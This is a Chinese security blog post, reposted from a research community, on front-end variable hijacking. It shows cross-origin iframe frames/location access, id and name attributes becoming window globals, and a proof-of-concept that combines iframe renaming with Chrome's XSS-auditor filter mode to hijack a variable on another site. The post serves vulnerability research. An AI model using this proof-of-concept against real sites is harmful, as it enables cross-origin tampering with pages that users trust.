前端中存在的变量劫持漏洞

2019-07-06 约 442 字 预计阅读 3 分钟

声明:本文 【前端中存在的变量劫持漏洞】 由作者 wonderkun 于 2019-07-06 09:18:00 首发 先知社区 曾经 浏览数 96 次

感谢 wonderkun 的辛苦付出!

这篇文章中主要讲一个在前端中出现的有意思的变量劫持漏洞。

0x1 基础知识

当页面存在iframe的时候,父页面和子页面是可以相互获取到对方的window对象的,主要利用下面的方法。
(本文不考虑 iframesandbox 属性,所有测试都是在不添加任何sandbox的限制下进行。)

父访问子:

document.getElementById("iframe1").contentWindow; // 获取iframe的window对象
window.frames[0]; // 获取iframe的window对象
window[0] ; // 这个比较有意思, window 是本页面的window对象,window[0] 是子页面的window对象

子访问父:

window.parent;  //获取上一级的window对象,如果还是iframe则是该iframe的window对象
window.top ;   // 获取最顶级容器的window对象,即,就是你打开页面的文档

如果父和子页面是同源的,那么可以通过这个window对象获取到任何你想获取的内容,包括但是不限于 document,name,location 等。但是在非同源的情况下,iframe的window对象大多数的属性都会被同源策略block掉,但是有两个属性比较特殊。

  1. frames 可读,但是不可写。 意味着可以读取不同域的子页面里面的iframe的window对象
  2. location 可写,但是不可读。意味着父子可以相互修改彼此的 location

结合以上两点可以推导出,爷可以修改孙(孙可以修改爷)的location。(父页面可以获取子页面的window对象,然后通过frames获取孙页面的window对象,然后修改location)

爷修改孙,演示如下:

<!-- localhost:80/index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <iframe name="viewer" src="http://localhost:8888/view.html" onload="loaded(this)"></iframe>
    <script>
        // CONFIG = "test";
        function loaded(x) {
            // myframe = window.frames[0]; 
            // myframe.frames[0].location = 'http://www.baidu.com/';

            x.contentWindow.frames[0].location = "http://www.baidu.com/";   

            // console.log(myframe == x.contentWindow);
        }
    </script>
</body>

</html>
<!-- localhost:8888/view.html -->

<iframe name="viewer" src="http://blog.wonderkun.cc/"></iframe>

0x2 重新审视一下 id 属性

我们知道在浏览器中有如下特点,我们定义的所有全局变量,都被存储在window对象中,作为window的属性来被访问的。

下面在console中验证一下:

> content = "i am content storage in window";
< "i am content storage in window"
> window.content 
< "i am content storage in window"
> window.content == content
< true

同样,我们在页面中定义的具有id属性的dom对象也是作为全局变量存储在 window 中的。

<h1 id="test"></h1>

然后再console里访问一下:

> test
< <h1 id="test"></h1>
> window.test
< <h1 id="test"></h1>

这时候想到一个问题,既然 id 属性会被注册成全局变量,那么它会不会覆盖掉已经存在的全局变量呢?我们写如下的测试代码:

<h1>test</h1>
<h2>test2</h2>

    <script>
        // CONFIG = "test";
        test = "ddd";
        document.getElementsByTagName("h1")[0].setAttribute('id',"test");
        document.getElementsByTagName("h2")[0].setAttribute('id',"test2");
    </script>

在console中输入:

> test
< "ddd"
> test2
> <h2 id="test2">test2</h2>

事实证明无法覆盖已经定义的变量,但是却可以定义新的变量

怎么让页面中出现未定义的全局变量呢?别忘了 chrome 74之后 默认的 xss auditor 从block模式编程了filter模式,可以利用这个删除掉页面中的代码。(此问题文章最后演示)

另外我们知道,如果在页面中定义两个id一样的元素之后,这样使用 document.getElementById 就无法获取到这个id了,但是并不意味着着全局变量就不存在了,看下面这个实验。

<h1 id="test"></h1>
    <h2 id="test"></h2>
> test 
< HTMLCollection(2) [h1#test, h2#test, test: h1#test]
   0: h1#test
   1: h2#test
   length: 2
   test: h1#test
   __proto__: HTMLCollection

很明显全局变量test还是存在的,是包含两个元素的数组。

0x3 同样道理看一下iframe的name属性

<iframe  name="viewer" src="./view.html"></iframe>

在console里验证一下

> viewer 
< Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, parent: Window, …}

情况差不多,这里的 viewer 是注册在全局变量里的window对象。

但是如果页面中出现两个name相同的iframe,又会是什么情况呢?

<iframe name="test" src="http://B.com/B.html" ></iframe>
    <iframe name="test" src="http://C.com/C.html" ></iframe>

在console里面输入:

> test
< global {window: global, self: global, location: Location, closed: false, frames: global, …}
> test == document.getElementsByTagName('iframe')[0].contentWindow
< true
> test == document.getElementsByTagName('iframe')[1].contentWindow
< false

发现跟id的情况并不相同,这里只有第一个元素,而且仅有第一个元素。

0x4 id 和 name 重复出现时

name在id前面

<iframe name="test" src="http://B.com/B.html" ></iframe>
    <h1 id="test"></h1>
> test 
< global {window: global, self: global, location: Location, closed: false, frames: global, …}

id在name前面

<h1 id="test"></h1>
   <iframe name="test" src="http://B.com/B.html" ></iframe>
> test 
< global {window: global, self: global, location: Location, closed: false, frames: global, …}

可以发现 name 的优先级是高于 id 的优先级的,无论怎样全局变量里存储的都是 iframe 的 window对象。

0x5 漏洞场景

我们有一个可以控制的域 A.com 中有页面 A.com/A.html , 用iframe加载了 B.com 的域的页面 B.com/B.html 。A.html无法操作B.html页面,因为是不同源的,同时 B.com/B.html 页面用iframe加载了一个新的页面 C.com/C.html 。

此时 B.com/B.html 存在一个未定义的全局变量 (可以是利用chrome的xss auditor的filter模式产生的),怎么利用?场景用代码描述如下:

<!-- A.com/A.html -->
<iframe  src="http://B.com/B.html" ></iframe>
<!-- B.com/B.html -->
<iframe  src="http://C.com/C.html" ></iframe>
<h1 onclick="test()">click me</h1>
<script>
     VUL = "Hijack me";
</script>

<script>

    function test(){
        // 不能用alert ,alert 会尝试访问 VUL window对象的特有方法,会爆跨域错误
        console.log(VUL);
    }
</script>

利用的poc如下,修改A.html如下:

<script>
    function loaded(x){
        x.contentWindow.frames[0].location = "http://A.com/index.html"; // 修改为跟A.com同源,这样在修改此iframe的name的时候就不会被同源策略block
        setTimeout(function() {
            console.log('setting viewer...');
            x.contentWindow.frames[0].name = "VUL"; // 重新定义全局变量
        },1000);
    }
</script>

<!--  
    http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E
    利用chrome的filter模式去掉 VUL 的定义 
-->

<iframe  src="http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E" onload="loaded(this)"></iframe>

然后访问 A.com/A.html ,就会发现 B.com/B.html 中的 VUL 已经被劫持了。

0x6 结尾

但是好像就算变量劫持了,可以利用的面还是很小啊,只能将一个变量劫持为window对象,期待师傅们一起来挖掘新的利用场景。

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now